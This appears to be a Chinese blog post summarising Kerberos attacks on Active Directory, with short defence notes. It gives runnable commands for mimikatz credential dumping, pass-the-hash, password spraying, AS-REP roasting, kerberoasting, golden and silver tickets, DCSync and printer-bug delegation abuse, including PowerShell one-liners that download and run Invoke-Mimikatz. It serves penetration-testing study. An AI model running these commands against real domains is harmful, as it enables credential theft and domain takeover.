Kerberos自我总结Kerberos自我总结

news2024/9/21 22:32:34

1、协议原理与漏洞产生

1.1 kerberos

Kerberos协议是一种基于票据Ticket的认证方式,它由三个角色组成,分别是客户端Client、服务端Server和秘钥分发中心KDC。

协议中的交互分为六步,为AS_REQ、AS_REP、TGS_REQ、TGS_REP、AP_REQ和AP_REP

  1. 由Client向KDC中的AS发起AS_REQ,申请一个身份的验证。其中包含etype、cname、sname和用户账号hash加密的时间戳等信息。
  2. AS收到AS_REQ后,使用用户的hash解密时间戳,结果正确则会返回TGT认购权证,其中使用秘钥分发中心服务账号krbtgt的hash来加密Ticket,使用用户账号hash加密logon session key,在数据包中表现主要为Ticket字段和enc-part字段。
  3. 客户端收到TGT票据后,使用自己的账户hash解密logon session key,然后客户端使用logon session key加密时间戳,将PAC一起打包发送给KDC中的TGS请求ST票据。
  4. TGS收到Client发送过来的数据包后,先检查自身是否存在Client请求的服务,如果存在,则会用krbtgt的hash来解密TGT,并验证时间戳,验证通过返回服务账户hash加密的PAC和logon session key加密的server session key
  5. 此时,Client就可以使用ST票据来向服务端发送KRB_AP_REQ类型的消息。
  6. 服务端收到后,用自己的hash解密ST,获取server session key,以此来解密验证时间戳,确认客户端身份后,会将PAC发送给KDC验证访问权限(默认关闭),如果没有开启验证访问权限,那么只会与本地的ACL进行对比验证访问权限。

那么在这个认证过程中,就可以联系到一些验证机制的漏洞,将这些漏洞由发生的阶段可以分为AS阶段、TGS阶段和AP阶段、

AS与Client交互的阶段中,存在的漏洞有pass the key、用户名枚举、密码喷洒、AS_REPRoasting和黄金票据

1、pass the key,也被成为overpass the hash,它的原理是由于用户的ntlm hash被知晓,从而攻击者可以使用该hash值进行传递pass the hash,而在微软的补丁kb2871997后,虽然禁止了使用ntlm登录和本地管理员远程登录,但是仍然可以将hash注入到kerberos中,从而获取Kerberos的TGT,而此时的hash是为aed加密方式的,传递给kerberos

2、用户名枚举和密码喷洒,它们的原理类似,都是利用AS_REP返回的错误信息进行判断,比如存在用户描述error-code:eRR-PREAUTH-REQUIRED、密码错误描述:error-code:eRR-PREAUTH-FAILED和不存在用户描述:error-code:eRR-C-PRINCIPALL-UNKNOWN

3、AS_REPRosating,该漏洞产生的原因是由于AS_REP中返回的logon session key被破解,但是穷举爆破需要大量的时间去破解出明文密码,所以一般都是针对于不需要预认证的用户,因为预认证会验证时间戳(预认证默认开启)。在加密方式为RC4的情况下比较好破解,所以我们可以采用加密降级的方式来达成指定加密方式为RC4的目的,即使客户端的加密方式最高支持RC4,那么KDC那边返回的密文加密方式只能为RC4.

4、黄金票据,它的产生是由于krbtgt账户hash被攻击者知晓,因为KDC分发的TGT认购权证是由krbtgt账户hash加密的,所以我们使用域名称、SID和用户名(任意,TGT使用期限20分钟内,KDC不会验证用户名)就可以伪造TGT,去请求任意服务的ST票据

TGS与客户端交互的阶段中,存在有pass the ticket、kerberosting和白银票据漏洞

1、pass the ticket,因为kerberos在后续的步骤都是通过票据来验证,所以拥有了票据也就代表我们可以通过该票据来进行横向移动。

2、kerberosting,如果服务主体名称SPN的ntlm hash是由RC4加密的,那么我们可以通过穷举来获得明文(这里也可以使用加密降级的方式)

3、白银票据,当我们得知服务的ntlm hash时,就可以使用该hash值来伪造ST票据去访问指定的服务,因为服务器在没有收到ST之前是不知道server session key的。还需要知道域名称、域的SID,用户名(任意)和目标服务器上的kerberos服务

除了上面两个阶段的漏洞外,还有个DCSync攻击,它则是我们利用用户权限将自己伪装成域控制器,并发出请求让真实的DC将其数据库与自己伪装的DC进行同步

以下组内用户具有上述权限:

  1. Administrators组内的用户
  2. Domain Admins组内的用户
  3. Enterprise Admins组内的用户
  4. 域控制器的计算机账户

除了上述这两个基础认证模块(AS与TGS)外,还有一些漏洞存在于微软扩展的两个模块S4U和PAC。

1.2、Kerberos各漏洞利用

1.2.1、pass the hash

1)mimikatz工具

1、提取用户密码的NTLM HASH
提取hash有以下命令(取一即可):

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > pth.txt
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit > pth.txt
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit > pth.txt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.local /all /csv" exit > pth.txt
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit > pth.txt

需要高权限才能抓取,也就是说需要先拿下这台服务器的权限

2、使用kali中的smbexec.py进行横向

cd /usr/share/doc/python3-impacket/examples
./smbexec.py wdc.com/administrator@192.168.104.150 -hashes 'aad3b435b51404eeaad3b435b51404ee:7d50b9cf465cfa43ccaac5648919785c'

aad3b435b51404eeaad3b435b51404ee该HASH值为空,因为LMHASH已经被废弃了

可以看到登录后的权限是非常高的,登录后又可以去抓HASH值,直至域控管理员密码

提取hash的其他工具
Cobalt Strike

这块没有测试的环境就不再展开,相信熟悉cs的小伙伴也知道这个功能,具体功能在:

选中客户端列表->右键选择Access的模块中的Dump Hashes

读取到的凭证可以在菜单栏的view-Credentials中查看。

  • 导出域内的所有hash可以使用Beacon的hashdump。
  • 导出域内的所有hash可以使用Beacon的dcsync
查询域内所有hash
dcsync [DOMAIN.FQDN]
查询指定用户hash
dcsync [DOMAIN.FQDN] [DOMAIN\user]
Invoke-Mimikatz.ps1

这个是mimikatz的powershell版本,也经常用于在内网渗透中,相对于exe的版本会方便许多。

该脚本集成在PowerSploit项目中,下载地址:Invoke-Mimikatz.ps1

这个工具在另外一篇文章有写过具体的用法Powershell在渗透测试中的利用

  • 无文件读取方式

powershell powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

  • 读取sam数据库

powershell powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug token::elevate lsadump::sam exit\""

在这里插一点内容,主要是获取域用户的hash值,也可以使用Empire的Invoke-DCSync.ps1工具来获取:

导出域内所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出指定账户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
CrackMapExec

该工具也可以导出hash,而且还是批量的,具体在官方gitbook上写得很明细了,这里不再展开,后续会专门写一遍关于该工具的文章。

安装方法:

https://mpgn.gitbook.io/crackmapexec/getting-started/installation

导出凭证(需要有管理员权限):

https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials

转储lsass进程

因为我们的凭证除了报错在sam文件中,还可以在lsass进程保存,现在找到lsass进程,然后创建转储文件:

一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP

将该文件下载回来放置在Mimikatz的同目录下,然后执行:

sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full

当然我们也可以使用procdump这个程序来导出lsass.dmp,只需在命令行获取system权限操作即可。

该工具是微软官方的一款工具:Download ProcDump

执行以下命令即可导出lass.dmp:

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

1.2.2、pass the key

获取aes hash:

mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit > pth.txt

pth:

mimikatz.exe 
privilege::debug
sekurlsa::pth /user:administrator /domain:wdc.com /aes256:ff52e8419a59ace00ccaf8daabdb997d9fbd34ca26c00546ae85218cfb4a99e8

1.2.3、PTH批量横向渗透

CrackMapExec

CrackMapExec集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。

我们可以扫描内网中的445端口开放情况:

crackmapexec smb 172.16.0.100/24

如下图:

使用批量传递hash的命令:

crackmapexec smb 172.16.0.100/24 -u testuser -H de26cce0356891a4a020e7c4957afc72 -d hack.lab

因为我这个是域管理账户,所以都能登录,(Pwn3d!代表用户名和hash正确)

如下图:

Cobalt Strike

cs大家应该很熟悉了,这块我没搭环境,主要是在目标(target)当中选中目标右键选择要pth的方式即可。

1.2.3、用户名枚举和密码喷洒

存在用户描述:error_code:eRR-PREAUTH-REQUIRED

密码错误描述:error_code:eRR-PREAUTH-FAILED

不存在的用户描述:error_code:eRR-C-PRINCIPALL-UNKNOWN

1.2.3.1 kerbrute工具

工具:📎kerbrute_windows_amd64.zip

使用场景:不在域内的情况下且无法通过LDAP或者SAMR协议去获取域内用户(如果掌握域内用户名以及密码,域外也可通过LDAP与域控交互获取信息)。若攻击主机在域外,需要主机能与域控直接交互,不会有像LDAP暴力破解产生的日志(4625 - An account failed to log on)

主要原理:发送构造的AE-REQ请求包后,通过返回的包的区别来判断用户是否存在以及密码是否正确

1)用户名枚举

域内:

kerbrute_windows_amd64.exe userenum -d wdc.com username.txt
 


域外:

kerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d wdc.com username.txt

kerbrute_linux_amd64 userenum --dc 192.168.104.150 -d wdc.com username.txt

注意:需指定DC的ip地址

2)密码喷洒

指定密码,遍历用户名

kerbrute_windows_amd64.exe passwordspray -d wdc.com username.txt wym123
 


 

1.2.3.2 pyKerbrute工具

3gstudent师傅实现的Python版本的kerbrute,添加了两个功能
◼增加对TCP协议的支持
◼增加对NTLM hash的验证

1)用户名枚举

主要实现是发一个AS-REQ结构的包修改CnameString即可(固定sname指向krbtgt)
EnumADUser.py :
EnumADUser.py 192.168.104.150 wdc.com username.txt tcp

EnumADUser.py 192.168.104.150 wdc.com username.txt udp

2)密码喷洒

pyKerbrute分成了两种模式,clearpasswordntlmhash
classpassword:实现将明文加密成NTLM Hash然后通过RC4-HMAC加密算法加密时间戳,然后也可以通过ntlmhash模块来密码喷洒
ntlmhash:直接通过RC4-HMAC-MD5加密算法加密时间戳
ADPwdSpray.py :

ADPwdSpray.py 192.168.1.1 test.com user.txt clearpassword DomainUser123! tcp

ADPwdSpray.py 192.168.1.1 test.com user.txt ntlmhash e00045bd566a1b7386f5c1e3612921b udp

注意:

  1. 与kerbrute发送的数据包在支持的加密算法上有较大区别,不如kerbrute隐秘
  2. 使用密码喷洒时,使用pyhon、python2和python3执行文件都有报错
1.2.3.3 Kerberos pre-auth bruteforcing的检测

Kerbrute使用Kerberos pre-auth协议,不会产生日志(4625 - An account failed to log on)
但是会产生以下日志:
◼口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
◼口令验证失败时产生日志(4771 - Kerberos pre-authentication failed)

我自己本地域控查看日志发现,存在4768,但是用户正确,密码错误并不会爆出4771,没有任何提示

成功:

失败:

无4771事件显示

解决:

通过查阅资料,找到了修改登录策略的地方,具体可查看Audit Kerberos Authentication Service
 


修改审核策略后可捕获到4771类型:
 


 

1.2.4、AS_REPRosting

1)Rubeus

Rubeus.exe asreproast

Rubeus.exe asreproast /nowrap /format:hashcat

枚举出域内存在该漏洞的用户的hash,默认输出的格式是John the Ripper (Jumbo version),可以使用以下命令破解:

John ./hash.txt –wordlist=./password.txt

也可以输出为hashcat的格式:

Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hash.txt

采用hashcat破解:

hashcat -m 18200 hash.txt passwordlist.dict --force

如果我们不在域用户下呢,比如说我们拿到了本地账户的机器跟DC(172.16.0.106)是相通的,我们也可以使用以下命令进行枚举:

Rubeus.exe asreproast /domain:hack.lab /user:lucky /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt

结果如下图所示:

2)PowerView

这款工具是集成在PowerSploit里面的,属于Recon系列,这款工具是由HarmJ0y大牛开发的。

GitHub:https://github.com/PowerShellMafia/PowerSploit

原理是使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户,DONT_REQ_PREAUTH项对应的值为4194304,可以参考官方的文档Use the UserAccountControl flags to manipulate user account properties

假如我现在环境是在拿到了普通域用户testsql下执行PowerView脚本

PowerView的命令如下:

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

示例如下图:

如果要有开启用户的Do not require Kerberos preauthentication选项需要拥有GenericWrite权限,这也就是我们上面所说的第二种利用方式。

开启选项意味着对用户添加属性(userAccountControl=4194304)

开启选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose

关闭选项意味着删除用户属性(userAccountControl=4194304)

这里可以再次进行异或运算,两次异或相当于不改变原数值,即删除用户属性(userAccountControl)

关闭选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose
3)kerbrute(Python)

这款工具主要是来枚举域内存在开启Do not require Kerberos preauthentication选项的用户,在之前写的域用户枚举的一篇文章中写多,这里就不再展开,有兴趣的同学可以看下域渗透-用户名枚举

4)ASREPRoast

这款工具也是由HarmJ0y大牛开发的,不过推荐使用Rubeus ,因为上面的功能很齐全,下面是利用的过程。

在GitHub上进行下载:

https://github.com/HarmJ0y/ASREPRoast

假如我现在环境是在拿到了普通域用户testsql下执行该脚本:

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast

结果如下图所示:

如果想要导出hash值进行破解可以执行下面的命令:

Invoke-ASREPRoast | select -ExpandProperty Hash > hash.txt

5)Powershell Empire

如果你喜欢使用Powershell Empire这个框架,并且想通过Empire这个框架发起ASREPRoast攻击,首先你得拿下一台机器,获得agent会话,然后运行下面这个模块来查看“PreauthNotRequired ”选项有没有勾选。

使用以下的命令:

usemodule situational_awareness/network/powerview/get_user

该功能只能枚举出存在漏洞的用户,后续还是得使用Rubeus等工具进行导出hash值。

6)GetNPUsers.py

该工具是在Impacket中的,也默认安装在新版的kali。这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGT票据。

同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解(默认是hashcat的格式),指定单用户:

python3 /usr/local/bin/GetNPUsers.py hack.lab/lucky -no-pass -dc-ip 172.16.0.106 -format john -outputfile hash.txt

多用户:

python3 /usr/local/bin/GetNPUsers.py -no-pass -dc-ip 172.16.0.106 -usersfile users.txt -format john -outputfile hash.txt

172.16.0.106是域控

如下图所示:

使用john破解:

john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

0x03 防御建议

1.确保域内不存在开启”Do not require Kerberos preauthentication”的用户

扫描方法(使用PowerView):

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

2.域用户强制使用复杂口令,提高被字典和暴力破解的难度

1.2.5、黄金票据

1)条件

1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的(TGT使用期限20分钟之内,域控制器KDC服务不会验证TGT中的用户账户)

假设我们已经通过dcsync的攻击手法获取到了krbtgt的hash

mimikatz.exe
lsadump::dcsync /domain:wdc.com /all /csv


条件1:spn扫描获取域名称wdc.com
 


条件2:whoami /all获取域用户sid,域的SID去掉最后的一串
 


条件3:krbtgt账户Hash
cc455fd837c8a5661de4f3c591cee66c
条件4:伪造用户名
administrator

2)制作黄金票据

利用mimikatz kerberos::golden伪造tgt

mimikatz.exe "kerberos::golden /domain:wdc.com /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:cc455fd837c8a5661de4f3c591cee66c /ticket:k0u.kiribi" exit

黄金票默认组:
域用户SID:S-1-5-21 -513 域管理员SID:S-1-5-21 -512 架构管理员SID:S-1-5-21 -518 企业管理员SID:S-1-5-21 -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/sids参数) 组策略创建者所有者SID:S-1-5-21 -520


tip:可添加/endin:xx /renewmax:xx修改票据的有效期以及续订票据最长有效期,mimikatz默认都是10年
 


生成的票据可以到其他域机器上导入,也可以直接使用/ptt将tgt注入内存
首先先清空票据缓存klist purge
 


然后通过mimikatz.exe kerberos::ptt k0u.kiribi注入到缓存票据中
 


klist查看票据缓存可以看到伪造的tgt了
 


这时就获取到了非常高的权限了
 


klist purge清空票据缓存后

Tips:
普通黄金票据存在局限性,适用于单域内,不适于域森林中

1.2.6、pass the ticket

1)Mimikatz


通过Mimikatz导出内存中的票据(管理员权限开SeDebug)

Mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

这时,我们抓到了域管的TGT,我们就可以注入域管的TGT到缓存并且使用该TGT来向TGS换取相应的服务凭证ST(不需要管理员权限)此时以god.org\hack域用户(Stu1本地管理员权限)访问域控的Cifs共享服务是提示没有权限被拒绝的,这里注入域管的TGT到缓存后可成功访问

注入TGT票据

mimikatz.exe
kerberos::ptt ./文件名

2)Rubeus

导出内存中的票据(管理员权限)

Rubeus.exe dump >test.txt

箭头指向的就是base64编码后的.kirbi,可以直接通过Rubeus导出base64编码形式的凭据或者转化为文件形式,文件形式可以和MimikatzKerberos::ptt xxx.kirbi导入票据互相通用

导入票据--base64方式

Rubeus.exe ptt /ticket:base64

需要处理下导出的base64编码格式,删除多个空格,删除换行,可以通过添加/nowrap参数不换行
 

导入票据--文件方式

Rubeus ptt /ticket:file.kirbi


以域管的高权限票据可访问域控共享服务

导入后可以通过Rubeus.exe klist查看缓存的票据

将base64转换成文件格式
也可以使用/ticket:file.kirbi的形式,可以通过Powershell调用.net类库的system.io命名空间中的file类中WriteAllBytes方法将base64编码解码后写入文件中[IO.File]::WriteAllBytes("Adcontrol.kirbi", [Convert]::FromBase64String("处理后的凭据Base64编码"))

Tips:
票据文件注入内存的默认有效时间为10小时
Klist Purge清除缓存后注入的TGT也随着被清除

1.2.7、kerberosting

1、请求服务票据

使用Rubeus请求

Rubeus.exe kerberoast

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

powershell命令请求,请求指定SPN的服务票据

#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
#列出服务票据
klist

mimikatz请求,请求指定SPN的服务票据

#请求服务票据
kerberos::ask /target:MySQL/win7.xie.com:3306 
#列出服务票据
kerberos::list  
#清除所有票据
kerberos::purge

Impacket中的GetUserSPNS.py请求

./GetUserSPNs.py -request -dc-ip 192.168.10.131 xie.com/hack

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

2、导出服务票据

先查看票据,可以使用以下的命令

klist
或
mimikatz.exe "kerberos::list"

MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list

mimikatz导出

mimikatz.exe "kerberos::list /export" "exit"

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

导出Hashcat格式的票据

3、离线破解服务票据

kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

tgscrack

python2 extractServiceTicketParts.py 1-40a00000-hack\@MySQL~win7.xie.com~3306~MySQL-XIE.COM.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist password.txt

Hashcat

将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

hashcat64.exe -m  13100  hash.txt  pass.txt

4、服务票据重写&RAM注入

ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

kerberos::ptt PENTESTLAB.kirbi
5、Kerberoast攻击防范
  • 确保服务账号密码为强密码(长度、随机性、定期修改)
  • 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验 tgsrepcrack.py来破解密码。
  • 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
  • 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
  • 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。

1.2.8、白银票据

1)条件

1、域名称
2、域的SID值(SID值,注意是去掉最后一个-后面的值)
3、域中的Server服务器账户的NTLM-Hash
4、伪造的用户名,可以是任意用户名.
5、目标服务器上面的kerberos服务

2)制作白银票据

这里还是以域控owa举例,通过mimikatz获取机器账户的Hash
 


获取hash后,通过mimikatz制作白银票据(部分条件上述黄金票据实践中已经获得),目的服务是cifs
正常情况是普通域用户hack没有权限访问:
 


通过mimikatz制作白银票据并直接导入
 


查看当前票据
 


成功访问共享目录
 


但是这里与正常的加密类型是不同的,Mimikatz的伪造是RC4的加密类型,而正常的SPN关联在机器账户下的一般都是AES加密,因此对于伪造访问服务CIFS的ST票据而言,白银票据的流量也比较容易识别
 


常见的伪造服务类型如下

Tips:
开启PAC验证可防御白银票据(Server发送PAC的数字签名给KDC校验)

2、S4U

委派是域中的一种安全设置,即可以允许某个机器上的服务代表某个用户去执行某个操作

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。简单的说就是如果一个服务账号上设置了委派属性,那么这个服务就能够以用户权限在域内进行其他操作。翻译过来就是服务能够被(某个用户)委派来进行其他操作。

简单的一个场景就是如图,域内用户都通过IIS统一认证平台来登录,而IIS需要使用数据库SQLSERVER(获其他)来支撑用户的访问。但它本身的权限iis不支持它访问SQLSERVER。或者说,域内的文件服务器,想要实现每个人不同的权限,能看到不同的目录。如果没有域委派这个机制,那么所有人成功通过IIS认证后,存在的权限都只是IIS的权限,当访问文件服务器的时候,文件服务器都只认为是IIS服务在访问它,无法做到详细划分权限的功能。

因此委派就是解决这个问题的,通过设置委派属性,可以让IIS模拟用户,验证并访问后端的其他服务器以获取相应的资源。

在域中,只有 服务账号 和 主机账号 才具有委派属性。

主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。

服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

非约束委派与约束委派的区别在于是否信任该用户能够作为任何服务的委派还是指定服务的委派

简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

S4U主要存在非约束委派约束委派基于资源的约束委派漏洞

2.1 非约束委派

1)侦查方法:ADFind

# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

1)侦查方法:PowerView

# PowerView查询非约束委派的机器账户
powershell-import PowerView.ps1
powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname

攻击思路1:构造服务账户票据

利用条件:

  1. 服务账户设置了非约束性委派
  2. 已知服务账户的密码口令信息

这里已知mssqlsrv服务账户密码123.com,并且ken设置了非约束性委派使用kekeo工具进行操作:

# 构造服务账户ken的票据
kekeo.exe "tgt::ask /user:mssqlsrv /domain:redteam.lab /password:123.com /ticket:mssqlsrv.kirbi" "exit"

# 利用刚才伪造的ken票据,向域服务器申请CIFS服务票据
kekeo.exe "Tgs::s4u /tgt:TGT_mssqlsrv@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# 使用mimikatz将该票据注入当前的会话中,
mimikatz.exe "kerberos::ptt TGS_administrator@redteam.lab@REDTEAM.LAB_mssqlsrv@REDTEAM.LAB.kirbi" "exit"

# 访问目标共享盘
dir \\DC2016\C$

攻击思路2:诱使域管理员访问机器

偏理想化,不实用

当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。利用条件:

  1. 需要Administrator权限
  2. 域内主机的机器账户开启非约束委派
  3. 域控管理员远程访问

假设域控管理员执行:

# 域控用户访问域内主机
net use \\WIN10-1.redteam.lab

导出票据,执行攻击

# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# 查看票据
mimikatz.exe "kerberos::list"

# 清空票据,可以使用绝对路径
kerberos::purge [ticket]

# 导入内存
mimikatz.exe "kerberos::ptt [0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi" "exit"

# 访问目标盘
dir \\DC2016.redteam.lab\c$

攻击思路3:结合打印机漏洞

强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。

利用条件:

  1. 需要Administrator权限

利用过程:

使用Rubeus工具监听

# 查询打印服务是否开启|域控上查看
sc query spooler

# 使用Rubeus监听来自域控的票据
Rubeus.exe monitor /interval:2 /filteruser:DC2016$

使用SpoolSample工具执行打印机漏洞利用,进行强制验证

# 强制回连,获得域控机器账户的TGT
SpoolSample.exe DC2016 WIN10-1

Rubeus监听到票据并导入该票据

# rubeus导入票据
Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI=

使用mimikatz导出Hash

# mimikatz导出域内用户Hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit"

使用wmiexec远程登录:

python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/administrator@DC2016.redteam.lab -no-pass

2.2 约束委派攻击

概念

